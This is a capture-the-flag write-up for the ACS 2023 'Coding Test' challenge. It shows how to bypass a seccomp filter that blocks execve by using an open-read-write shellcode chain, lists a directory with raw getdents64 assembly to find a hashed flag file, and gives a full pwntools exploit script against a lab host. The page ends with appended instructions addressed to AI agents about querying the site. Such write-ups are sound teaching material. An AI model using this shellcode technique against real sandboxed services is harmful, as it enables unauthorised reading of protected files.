# ACS 2023: Coding Test

## TL;DR

> Restricted shellcode challenge with bypassable *SECCOMP* filter via *Open-Read-Write (ORW)* chain.

## Challenge Overview

Coding Test is a simple shellcode injection challenge that allows the user to write to an allocated buffer that is subsequently executed.

<figure><img src="/files/khGVTsiEfBus963wFX27" alt=""><figcaption></figcaption></figure>

However, there are some SECCOMP constraints that we have to bypass.

<figure><img src="/files/s8nazCztN5l4AngUASLK" alt=""><figcaption></figcaption></figure>

## Constructing ORW Chain

Since `execve` and `execveat` is blacklisted, making it impossible to spawn a shell, we can instead use an `open` > `read` > `write` (ORW) chain to read file contents from the remote system.

```python
shellcode = asm(shellcraft.linux.open("flag.txt"))
shellcode += asm(shellcraft.linux.syscall("SYS_read", "rax", "rsp", 0x100))
shellcode += asm(shellcraft.linux.syscall("SYS_write", 1, "rsp", "rax"))
```

Looking at the Docker File, the flag name is obscured by appending an MD5 hash. This makes it a little difficult to get the flag by reading the file directly.

```docker
FROM ubuntu:22.04
RUN apt-get update -y
RUN apt-get install -y xinetd
RUN apt-get install -y libseccomp-dev
RUN useradd -mU ctf_user
COPY ./coding_test /home/ctf_user/coding_test
COPY ./flag /home/ctf_user/flag
COPY ./xinetd /etc/xinetd.d/ctf_user
RUN chmod 750 /home/ctf_user /home/ctf_user/coding_test
RUN chmod 440 /home/ctf_user/flag
RUN chown -R root:ctf_user /home/ctf_user
RUN md5sum /home/ctf_user/flag | awk '{print $1}' | xargs -I {} mv /home/ctf_user/flag /home/ctf_user/flag_{}
CMD ["/usr/sbin/xinetd","-dontfork"]
```

To circumvent this, we can use `openat` to get all file names from the current directory:

```python
shellcode = asm(shellcraft.openat(-1, '/home/ctf_user/').rstrip())
shellcode += asm('''
            mov rdi,rax
            xor rdx,rdx
            xor rax,rax
            mov dx,0x3210
            lea rsi,[rsp]
            mov al,217
            syscall

            mov rax, 1
            mov rdi, 1
            mov rsi, rsp
            mov rdx, 500
            syscall
    ''')
```

<figure><img src="/files/Ouu25lDXTqVw5IWOcquu" alt=""><figcaption></figcaption></figure>

Afterward, just substitute the value of the file name to read in the ORW chain as follows:

```python
shellcode = asm(shellcraft.linux.open("/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c"))
shellcode += asm(shellcraft.linux.syscall("SYS_read", "rax", "rsp", 0x100))
shellcode += asm(shellcraft.linux.syscall("SYS_write", 1, "rsp", "rax"))
```

<figure><img src="/files/o72nkfm0oji2BEH6Qprn" alt=""><figcaption></figcaption></figure>

**Flag:** ACS{Y0ur\_c0d!ng\_skill4\_ar3\_passabl3!!!!}

## Final Script

```python
#!/usr/bin/python3

from pwn import *

exe = "./coding_test"
elf = context.binary = ELF(exe, checksec=False)

context.log_level = 'DEBUG'
context.clear(arch="amd64")
warnings.filterwarnings(action='ignore', category=BytesWarning)

io = remote("192.168.0.45", 10137)
#io = elf.process()

def main():
        # shellcode = asm(shellcraft.openat(-1, '/home/ctf_user/').rstrip())
        # shellcode += asm('''
        #             mov rdi,rax
        #             xor rdx,rdx
        #             xor rax,rax
        #             mov dx,0x3210
        #             lea rsi,[rsp]
        #             mov al,217
        #             syscall

        #             mov rax, 1
        #             mov rdi, 1
        #             mov rsi, rsp
        #             mov rdx, 500
        #             syscall
        #     ''')

        shellcode = asm(shellcraft.linux.open("/home/ctf_user/flag_ed807a45f84463aac37414be73d5849c"))
        shellcode += asm(shellcraft.linux.syscall("SYS_read", "rax", "rsp", 0x100))
        shellcode += asm(shellcraft.linux.syscall("SYS_write", 1, "rsp", "rax"))

        print(io.recvuntil(b': '))
        io.sendline(shellcode)
        print(io.recvall())

if __name__ == "__main__":
        main()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://jesuscries.gitbook.io/home/ctf-writeups/binary-exploitation/acs-2023-coding-test.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
